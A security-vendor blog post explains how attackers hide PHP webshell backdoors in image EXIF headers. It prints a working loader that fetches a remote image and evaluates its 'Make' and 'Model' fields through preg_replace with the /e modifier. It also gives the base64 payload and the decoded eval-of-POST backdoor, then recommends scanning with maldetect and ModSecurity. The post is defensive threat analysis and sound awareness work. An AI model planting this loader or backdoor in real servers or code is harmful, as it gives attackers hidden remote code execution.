CVE-2024-3400: PAN-OS Command Injection Vulnerability in GlobalProtect Gateway. Learn More

CVE-2024-3400: PAN-OS Command Injection Vulnerability in GlobalProtect Gateway. Learn More

Services
Capture
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

twi-managed-portal-color
Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

twi-briefcase-color-svg
Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

tw-laptop-data
Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

twi-database-color-svg
Database Security

Prevent unauthorized access and exceed compliance requirements.

twi-email-color-svg
Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

tw-officer
Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

tw-network
Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Offensive Security
Solutions to maximize your security ROI
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

Hiding Webshell Backdoor Code in Image Files

Looks Can Be Deceiving

Do any of these pictures look suspicious?

9245_4fce6581-bf29-435b-8cfb-d7a548d50e7f

First appearances may be deceiving... Web attackers have have been using a method of stashing pieces of their PHP backdoor exploit code within the meta-data headers of these image files to evade detections. This is not a completely new tactic however it is not as well known by the defensive community so we want to raise awareness. Let's first take a quick look at why this technique is being utilized by attackers.

Standard Webshell Backdoor Code

There are many methods attackers employ to upload Webshell backdoor code onto compromised web servers including Remote File Inclusion (RFI), Wordpress TimThumb Plugin and even non-web attack vectors such as Stolen FTP Credentials. Here is a graphic taken from this years Trustwave SpiderLabs Global Security Report that lists the top malicious file types uploaded to compromised web servers:

10828_9bbf6822-5b59-4739-89fa-8c9955b5c591
Let's take a look at a standard obfuscated R57 shell example:

BSL_12038_d6300c03-9c6c-45f8-aaa2-d9069aa6c7be

Notice the Base64 encoded parameter data and then the PHP Eval call at the end. Once PHP executes this code, it will decode and inflate the data stream and the result will be a basic file uploader webshell similar to the following:

BSL_10467_8acd5371-5b3f-4a4b-afc1-b4fc4be83ded

Incident Response Steps - Identification and Eradication

These types of attacks and compromises are so prevalent in Shared Hosting environments where end users do not properly update their web application software. In response to these types of scenarios, Hosting Provider security teams often employ OS-level back-end processes that scan the local file systems looking for tell-tale signs of webshell backdoor code. One example tool is called MalDetect. This script can be run to analyze files and detect various forms of malicious code. If we run maldetect against our example R57 webshell file we get the following:

$ sudo /usr/local/maldetect/maldet --config-option quar_hits=0,quar_clean=0,clamav_scan=1 -a "/tmp/lin.php"
Linux Malware Detect v1.4.2
(C) 2002-2013, R-fx Networks <proj@r-fx.org>
(C) 2013, Ryan MacDonald <ryan@r-fx.org>
inotifywait (C) 2007, Rohan McGovern <rohan@mcgovern.id.au>
This program may be freely redistributed under the terms of the GNU GPL v2

maldet(92294): {scan} signatures loaded: 9011 (7145 MD5 / 1866 HEX)
maldet(92294): {scan} building file list for /tmp/lin.php, this might take awhile...
maldet(92294): {scan} file list completed, found 1 files...
maldet(92294): {scan} 1/1 files scanned: 0 hits 0 cleaned
maldet(92294): {scan} scan completed on /tmp/lin.php: files 1, malware hits 1, cleaned hits 0
maldet(92294): {scan} scan report saved, to view run: maldet --report 101113-1250.92294
maldet(92294): {scan} quarantine is disabled! set quar_hits=1 in conf.maldet or to quarantine results run: maldet -q 101113-1250.92294$ sudo maldet --report 101113-1250.92294malware detect scan report for MacBook-Pro-2.local:SCAN ID: 101113-1250.92294TIME: Oct 11 12:50:48 -0400PATH: /tmp/lin.phpTOTAL FILES: 1TOTAL HITS: 1TOTAL CLEANED: 0NOTE: quarantine is disabled! set quar_hits=1 in conf.maldet or to quarantine results run: maldet -q 101113-1250.92294FILE HIT LIST:{MD5}base64.inject.unclassed.1 : /tmp/lin.php===============================================Linux Malware Detect v1.4.2 < proj@rfxn.com >

As you can see, maldetect identified this PHP file with of of its generic base64 injection signatures. While this individual file scanning does work, for manageability, most organizations opt to run maldetect as part of an ongoing automated process run through scheduling tools such as Cron. The big problem with this process is that, for performance reasons, many organizations opt to only scan PHP files and exclude other file types from being scanned...

Hiding Webshell Backdoor Code in Image Files

This brings us back to the beginning of the blog post. Due to the cleanup tactics used by most organizations, the bad guys had to figure out a method of hiding their backdoor code in places that most likely would not be inspected. In this case, we are talking about hiding PHP code data within the Exif image header fields. The concept of Stegonography is not new and there have been many past examples of its use for passing data, however we are now seeing it used for automated code execution. I do want to give a proper hat-tip to the Sucuri Research Team who also found similar techniques being employed.

PHP Code In EXIF Headers

If you were to view-source in a browser or use something like the unix strings command, you could see the new code added to the top of the image files:

10980_a27d64bb-710d-40cf-8f81-851693cb9e79

After uploading this file to VirusTotal, you can see a more friendly representation of the EXIF fields:

8655_33a7fc48-d74a-4ee6-94fd-a5e497468c51

As you can see, the PHP code is held within the EXIF "Model" and "Make" fields. This data does not in any way interfere with the proper rendering of the image file itself.

PHP's exif_read_data function

PHP has a function called exif_read_data which allows it to read the header data of image files. It is used extensivly in many different plugins and tools. Here is an example from Facebook's GitHub Repo:

BSL_12839_fbb3ab7a-75d5-4bdc-8905-92ee00a2f4c7

Updated PHP Webshell Code

So, with pieces of their webshell stashes away within the EXIF headers of either local or remote image files, the attackers can then modify their PHP code to leverage the PHP exif_read_data function like this:

<?php$exif = exif_read_data('http://REDACTED/images/stories/Logo_Coveright.jpg');preg_replace($exif['Make'],$exif['Model'],'');?>

The first line downloads a remote jpg image file with the stashes code in it and then sets the $exif variable with the array value. We can modify this PHP code to simulate this by downloading the same files and then dumping the $exif data:

<?$exif = exif_read_data('http://REDACTED/images/stories/Logo_Coveright.jpg');
var_dump($exif);
?>

When executing this php file, we get the following output:

$ php ./exif_dumper.php
array(9) {
["FileName"]=>
string(18) "Logo_Coveright.jpg"
["FileDateTime"]=>
int(0)
["FileSize"]=>
int(6159)
["FileType"]=>
int(2)
["MimeType"]=>
string(10) "image/jpeg"
["SectionsFound"]=>
string(13) "ANY_TAG, IFD0"
["COMPUTED"]=>
array(5) {
["html"]=>
string(23) "width="155" height="77""
["Height"]=>
int(77)
["Width"]=>
int(155)
["IsColor"]=>
int(1)
["ByteOrderMotorola"]=>
int(0)
}
["Make"]=>
string(5) "/.*/e"
["Model"]=>
string(108) "eval(base64_decode('aWYgKGlzc2V0KCRfUE9TVFsienoxIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));"
}

The final setup in this process is to execute the PHP preg_replace function.

<?php$exif = exif_read_data('http://REDACTED/images/stories/Logo_Coveright.jpg');preg_replace($exif['Make'],$exif['Model'],'');?>

Notice that the $exif['Make'] variable data uses the "/.*/e" PCRE regex modifier (PREG_REPLACE_EVAL) which will evaluate the data from the $exif['Model'] variable. In this case, it would execute the base64_decode which results in the following PHP snippet of code:

if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}

This code checks to see if there is a POST request body named "zz1" and if there is, it will then eval the contents. This makes it quite easy for attackers to sprinkle backdoor access code by injecting other legitimate PHP files with this combination of exif_read_data and preg_replace code.

How Widespread?

We can not accurately estimate how widespread this technique is being used however there is a small amount of empirical evidence by simply using public search engines to flag any web pages that list characteristics of either EXIF code hiding or searching for this specific base64 encoded string value.

BSL_12722_f5c837a2-2beb-45f1-81b7-c3e87932ed74
There are hundreds of examples of this base64 encoded data being present within image files.

Recommendations

Scan All Files for Malicious Code

If you are running OS level scanning of files on disk, carefully consider which file-types you want to include/exclude. As this scenario shows, attackers can take advantage of your excluded content to hide their code.

Scan Files During Attachment Uploading using ModSecurity

When end users are uploading images as file attachments, ModSecurity has the ability to:

  1. Extract the file and dump it to a tmp file on disk
  2. Execute the @inspectFile operator to analyze the file
  3. Block uploading if malware is found

The maldetect README file even includes instructions on how to integrate it with ModSecurity:

.: 12 [ MODSECURITY2 UPLOAD SCANNING ]The support for HTTP upload scanning is provided through mod_security2's inspectFile hook.This feature allows for a validation script to be used in permitting or denying an upload. The convenience script to faciliate this is called modsec.sh and is located in the/usr/local/maldetect installation path. The default setup is to run a standard maldet scanwith no clamav support, no cleaner rule executions and quarantining enabled; these optionsare set in the interest of performance vs accuracy which is a fair tradeoff. The scan options can be modified in the modsec.sh file if so desired, the defaultscan options are as follows:--config-option quar_hits=1,quar_clean=0,clamav_scan=0 --modsec -a "$file"There is a tangible performance difference in disabling clamav scanning in this usagescenario. The native LMD scanner engine is much faster than the clamav scanner enginein single file scans by a wide margin. A single file scan using clamav takes roughly3sec on average while the LMD scanner engine takes 0.5sec or less.To enable upload scanning with mod_security2 you must set enable the public_scan optionin conf.maldet (public_scan=1) then add the following rules to your mod_security2 configuration. These rules are best placed in your modsec2.user.conf file on cpanel serversor at the top of the appropraite rules file for your setup./usr/local/apache/conf/modsec2.user.conf (or similar mod_security2 rules file):SecRequestBodyAccess OnSecRule FILES_TMPNAMES "@inspectFile /usr/local/maldetect/modsec.sh" \                "log,auditlog,deny,severity:2,phase:2,t:none"A restart of the HTTPd service is required following these changes.When an upload takes place that is determined to be malware, it will be rejected and anentry will appear in the mod_security2 SecAuditLog file. On cpanel servers and mostconfigurations this is the modsec_audit.log located under /usr/local/apache/logs or /var/log/httpd.The log entry will appear similar to the following:
Message: Access denied with code 406 (phase 2). File "/tmp/20111120-....-file" rejected bythe approver script "/usr/local/maldetect/modsec.sh": 0 maldet: {HEX}php.cmdshell.r57.317/tmp/20111120-....-file [file "/usr/local/apache/conf/modsec2.user.conf"] [line "3"][severity "CRITICAL"]

Latest SpiderLabs Blogs

EDR – The Multi-Tool of Security Defenses

This is Part 8 in my ongoing project to cover 30 cybersecurity topics in 30 weekly blog posts. The full series can be found here.

Read More

The Invisible Battleground: Essentials of EASM

Know your enemy – inside and out. External Attack Surface Management tools are an effective way to understand externally facing threats and help plan cyber defenses accordingly. Let’s discuss what...

Read More

Fake Dialog Boxes to Make Malware More Convincing

Let’s explore how SpiderLabs created and incorporated user prompts, specifically Windows dialog boxes into its malware loader to make it more convincing to phishing targets during a Red Team...

Read More